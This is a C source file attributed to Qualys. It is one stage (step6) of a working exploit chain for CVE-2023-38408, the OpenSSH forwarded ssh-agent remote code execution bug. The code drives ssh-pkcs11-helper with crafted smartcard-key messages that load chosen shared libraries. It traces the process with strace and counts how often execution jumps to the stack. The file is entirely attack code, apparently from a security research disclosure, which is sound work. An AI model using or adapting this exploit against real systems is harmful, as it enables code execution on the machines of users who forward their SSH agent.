step6.c

/*
 * CVE-2023-38408: Remote Code Execution in OpenSSH's forwarded ssh-agent
 * for i in /tmp/step5*?/?*?/logger; do TRIES=16 ./step6 "$i"; done
 * Copyright (C) 2023 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

#define _GNU_SOURCE
#include <arpa/inet.h>
#include <dirent.h>
#include <elf.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <link.h>
#include <signal.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static int
is_shared_object(const char * const path)
{
    ElfW(Ehdr) eh;
  {
    const int fd = open(path, O_RDONLY | O_NOFOLLOW);
    if (fd <= -1) return 0;
    const ssize_t nr = read(fd, &eh, sizeof(eh));
    if (close(fd)) die();
    if (nr != (ssize_t)sizeof(eh)) return 0;
  }
    if (eh.e_ident[EI_MAG0] != ELFMAG0 ||
        eh.e_ident[EI_MAG1] != ELFMAG1 ||
        eh.e_ident[EI_MAG2] != ELFMAG2 ||
        eh.e_ident[EI_MAG3] != ELFMAG3 ||
        eh.e_ident[EI_CLASS] != ELFCLASS64 ||
        eh.e_ident[EI_DATA] != ELFDATA2LSB ||
        eh.e_machine != EM_X86_64 ||
        eh.e_type != ET_DYN)
        return 0;
    if (eh.e_version != EV_CURRENT) die();
    if (eh.e_ehsize != sizeof(ElfW(Ehdr))) die();
    if (eh.e_phentsize != sizeof(ElfW(Phdr))) die();
    return 1;
}

#define SSH_AGENT_FAILURE                       5
#define SSH_AGENT_SUCCESS                       6

#define SSH_AGENTC_ADD_SMARTCARD_KEY            20
#define SSH_AGENTC_REMOVE_SMARTCARD_KEY         21

static int
send_recv_msg(const int fd, const uint8_t type, const char * const path, const size_t pin_len)
{
    if (*path != '/') die();
    const size_t path_len = strlen(path);
    if (path_len >= 223) die();

    if (pin_len < 1 && type != SSH_AGENTC_REMOVE_SMARTCARD_KEY) die();
    if (pin_len > 10000) die();

    uint8_t msg[16384];
    uint8_t * cp = msg;
    *(uint32_t *)cp = htonl(1 + 4 + path_len + 4 + pin_len);
    cp += 4;
    *cp++ = type;
    *(uint32_t *)cp = htonl(path_len);
    cp += 4;
    memcpy(cp, path, path_len);
    cp += path_len;
    *(uint32_t *)cp = htonl(pin_len);
    cp += 4;
    memset(cp, 0xcc, pin_len);
    cp += pin_len;

    const size_t msg_len = cp - msg;
    if (msg_len > 10240) die();
    if (msg_len >= sizeof(msg)) die();
    if (msg_len != 4 + 1 + 4 + path_len + 4 + pin_len) die();
    if (send(fd, msg, msg_len, MSG_NOSIGNAL) != (ssize_t)msg_len) return ECOMM;

    if (fd <= -1) die();
    if (fd >= FD_SETSIZE) die();
    fd_set readfds;
    FD_ZERO(&readfds);
    FD_SET(fd, &readfds);
    struct timeval timeout = { .tv_sec = 60 };
    const int ready = select(fd + 1, &readfds, NULL, NULL, &timeout);
    if (ready == 0) return ETIMEDOUT;
    if (ready != 1) die();

    const ssize_t nr = recv(fd, msg, sizeof(msg), 0);
    if (nr <= 0) return ENOMSG;
    switch (type) {
    case SSH_AGENTC_ADD_SMARTCARD_KEY:
        if (nr != 4 + 1 + 4 &&
            nr != 4 + 1) return EMSGSIZE;
        break;
    case SSH_AGENTC_REMOVE_SMARTCARD_KEY:
        if (nr != 4 + 1) die();
        break;
    default:
        die();
    }
    if (ntohl(*(const uint32_t *)msg) != nr - 4) die();
    if (msg[4] != SSH_AGENT_FAILURE) die();
    return 0;
}

static uintptr_t
find_highest_stack(const pid_t pid)
{
    uintptr_t stack = 0;
  {
    char buf[PATH_MAX];
    if ((unsigned)snprintf(buf, sizeof(buf), "/proc/%ld/maps", (long)pid)
                             >= sizeof(buf)) die();
    FILE * const fp = fopen(buf, "r");
    if (!fp) die();
    while (fgets(buf, sizeof(buf), fp)) {
        if (!strchr(buf, '\n')) die();
        if (!strstr(buf, "[stack]\n")) continue;
        if (stack) die();

        const char * const ptr = strstr(buf, "-7");
        if (!ptr) die();
        char * end = NULL;
        stack = strtoul(ptr + 1, &end, 16);
        if (!end || *end != ' ') die();
        if (stack <= 0x700000000000) die();
        if (stack >= 0x800000000000) die();
    }
    if (fclose(fp)) die();
  }
    if (!stack) die();
    return stack;
}

static int
jumped_to_stack(const uintptr_t highest_stack)
{
    int found = 0;
    static struct {
        uintptr_t low, high;
    } stacks[16];
    size_t nstacks = 0;

    stacks[nstacks].low = highest_stack - (8<<20);
    stacks[nstacks].high = highest_stack;
    nstacks++;

    char buf[PATH_MAX];
    FILE * const fp = fopen("strace", "r");
    if (!fp) die();
    while (fgets(buf, sizeof(buf), fp)) {
        /*
        if (!strchr(buf, '\n')) die();
        */
        if (strstr(buf, "si_signo=SIGTRAP, si_code=SI_KERNEL")) {
            static const char addr_str[] = "[";
            if (sizeof(addr_str)-1 != strlen(addr_str)) die();
            const char * const addr_ptr = strstr(buf, addr_str);
            if (!addr_ptr) die();
            char * addr_end = NULL;
            const uintptr_t addr = strtoul(addr_ptr + sizeof(addr_str)-1, &addr_end, 16);
            if (!addr_end || *addr_end != ']') die();

            size_t s;
            for (s = 0; s < nstacks; s++) {
                if (addr < stacks[s].low) continue;
                if (addr >= stacks[s].high) continue;
                found = 1;
                break;
            }
        }
        if (found) break;
    }
    if (fclose(fp)) die();
    return found;
}

int
main(const int argc, const char * const argv[])
{
    srandom(getpid() ^ time(NULL));
  {
    const struct {
        const char * file;
        const char * value;
    } proc[] = {
        { "/proc/sys/kernel/core_pattern", "\n" },
        { "/proc/sys/kernel/core_uses_pid", "0\n" },
        { "/proc/sys/kernel/yama/ptrace_scope", "0\n" },
    };
    size_t i;
    for (i = 0; i < sizeof(proc) / sizeof(*proc); i++) {
        const int fd = open(proc[i].file, O_RDONLY);
        if (fd <= -1) die();
        char buf[256];
        const ssize_t nr = read(fd, buf, sizeof(buf));
        if (close(fd)) die();
        if (nr <= 0) die();
        if ((size_t)nr >= sizeof(buf)) die();
        if ((size_t)nr != strlen(proc[i].value) ||
            memcmp(buf, proc[i].value, nr)) {
            fprintf(stderr, "echo '%.*s' > %s\n", (int)strcspn(proc[i].value, "\n"), proc[i].value, proc[i].file);
            die();
        }
    }
  }
  {
    int signum;
    for (signum = 1; signum < 100; signum++) {
        if (signal(signum, SIG_DFL) != SIG_ERR) continue;
        if (errno != EINVAL) die();
    }
  }

    if (argc != 2) die();
    const int input_dirfd = open(".", O_RDONLY | O_CLOEXEC);
    if (input_dirfd <= -1) die();

    char base[] = "/tmp/step6-cc2-nodump.XXXXXX";
    if (!mkdtemp(base)) die();
    if (chdir(base)) die();

    unsigned int max_tries = 256;
    const char * const env_tries = getenv("TRIES");
    if (env_tries) {
        max_tries = atoi(env_tries);
    }
    unsigned int traps = 0;
    unsigned int tries;
    for (tries = 0; tries < max_tries; tries++) {
        char work[] = "./XXXXXX";
        if (!mkdtemp(work)) die();
        if (chdir(work)) die();

        int pkcs_fds[2];
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, pkcs_fds)) die();
        if (pkcs_fds[0] <= STDERR_FILENO) die();
        if (pkcs_fds[1] <= STDERR_FILENO) die();
        const pid_t pkcs_pid = fork();
        if (pkcs_pid <= -1) die();
        const int pkcs_fd = pkcs_fds[!pkcs_pid];
        if (close(pkcs_fds[!!pkcs_pid])) die();

        if (pkcs_pid == 0) {
            if (dup2(pkcs_fd, STDIN_FILENO) != STDIN_FILENO) die();
            if (dup2(pkcs_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
            if (close(pkcs_fd)) die();
            const int stderr_fd = open("stderr", O_WRONLY | O_CREAT | O_EXCL, 0600);
            if (stderr_fd <= STDERR_FILENO) die();
            if (dup2(stderr_fd, STDERR_FILENO) != STDERR_FILENO) die();
            if (close(stderr_fd)) die();
            const char * const pkcs_helper = "/usr/lib/openssh/ssh-pkcs11-helper";
            execlp(pkcs_helper, pkcs_helper, (const char *)NULL);
            die();
        }

        if (send_recv_msg(pkcs_fd, SSH_AGENTC_REMOVE_SMARTCARD_KEY, "/", 10000)) die();
        const uintptr_t highest_stack = find_highest_stack(pkcs_pid);

        const pid_t strace_pid = fork();
        if (strace_pid <= -1) die();
        if (strace_pid == 0) {
            if (close(pkcs_fd)) die();
            const int null_fd = open("/dev/null", O_RDWR);
            if (null_fd <= STDERR_FILENO) die();
            if (dup2(null_fd, STDIN_FILENO) != STDIN_FILENO) die();
            if (dup2(null_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
            if (dup2(null_fd, STDERR_FILENO) != STDERR_FILENO) die();
            if (close(null_fd)) die();

            char pkcs_pidstr[32];
            if ((unsigned)snprintf(pkcs_pidstr, sizeof(pkcs_pidstr), "%ld", (long)pkcs_pid)
                                             >= sizeof(pkcs_pidstr)) die();
            const char * const strace_argv[] = { "/usr/bin/strace", "-f", "-i", "-e", "none", "-o", "strace", "-p", pkcs_pidstr, NULL };
            execve(*strace_argv, (char * const *)strace_argv, NULL);
            die();
        }
        for (;;) {
            struct stat sb;
            if (lstat("strace", &sb)) continue;
            if (!S_ISREG(sb.st_mode)) die();
            break;
        }

        int timed_out = 0;
      {
        const int input_fd = openat(input_dirfd, argv[1], O_RDONLY);
        if (input_fd <= -1) die();
        FILE * const input_fp = fdopen(input_fd, "r");
        if (!input_fp) die();

        char path[NAME_MAX + 2];
        while (fgets(path, sizeof(path), input_fp)) {
            char * const nl = strchr(path, '\n');
            if (!nl) die();
            if (nl == path) continue;
            *nl = '\0';
            if ('r' == path[0]) {
                if ('/' != path[1]) die();
                const int error = send_recv_msg(pkcs_fd, SSH_AGENTC_REMOVE_SMARTCARD_KEY, &path[1], 0);
                if (error) fprintf(stderr, "error %d (remove)\n", error);
                continue;
            }
            if (strncmp(path, "/usr/l", 6)) die();

            char pin_len_str[32];
            if (!fgets(pin_len_str, sizeof(pin_len_str), input_fp)) die();
            char * pin_len_end = NULL;
            const size_t pin_len = strtoul(pin_len_str, &pin_len_end, 10);
            if (pin_len_end <= pin_len_str || *pin_len_end != '\n') die();

            const int error = send_recv_msg(pkcs_fd, SSH_AGENTC_ADD_SMARTCARD_KEY, path, pin_len);
            if (error) {
                if (error == ETIMEDOUT) {
                    fprintf(stderr, "%s timed out (%ld)\n", path, (long)pkcs_pid);
                    timed_out = 1;
                }
                break;
            }
        }
        if (fclose(input_fp)) die();
      }
        int stack_trap = 0;
        if (timed_out) {
            stack_trap = jumped_to_stack(highest_stack);
            if (kill(pkcs_pid, SIGKILL)) die();
        }
        if (close(pkcs_fd)) die();
        if (waitpid(strace_pid, NULL, 0) != strace_pid) die();

        if (!stack_trap) {
            stack_trap = jumped_to_stack(highest_stack);
        }
        if (waitpid(pkcs_pid, NULL, 0) != pkcs_pid) die();

        if (stack_trap) traps++;
        if (1) {
            DIR * const dirp = opendir(".");
            if (!dirp) die();
            for (;;) {
                const struct dirent * const entp = readdir(dirp);
                if (!entp) break;
                (void) unlink(entp->d_name);
            }
            if (closedir(dirp)) die();
        }
        if (chdir("..")) die();
        (void) rmdir(work);
    }
    (void) rmdir(base);
    if (close(input_dirfd)) die();
    printf("%u traps / %u tries (%s)\n", traps, tries, argv[1]);
    exit(EXIT_SUCCESS);
}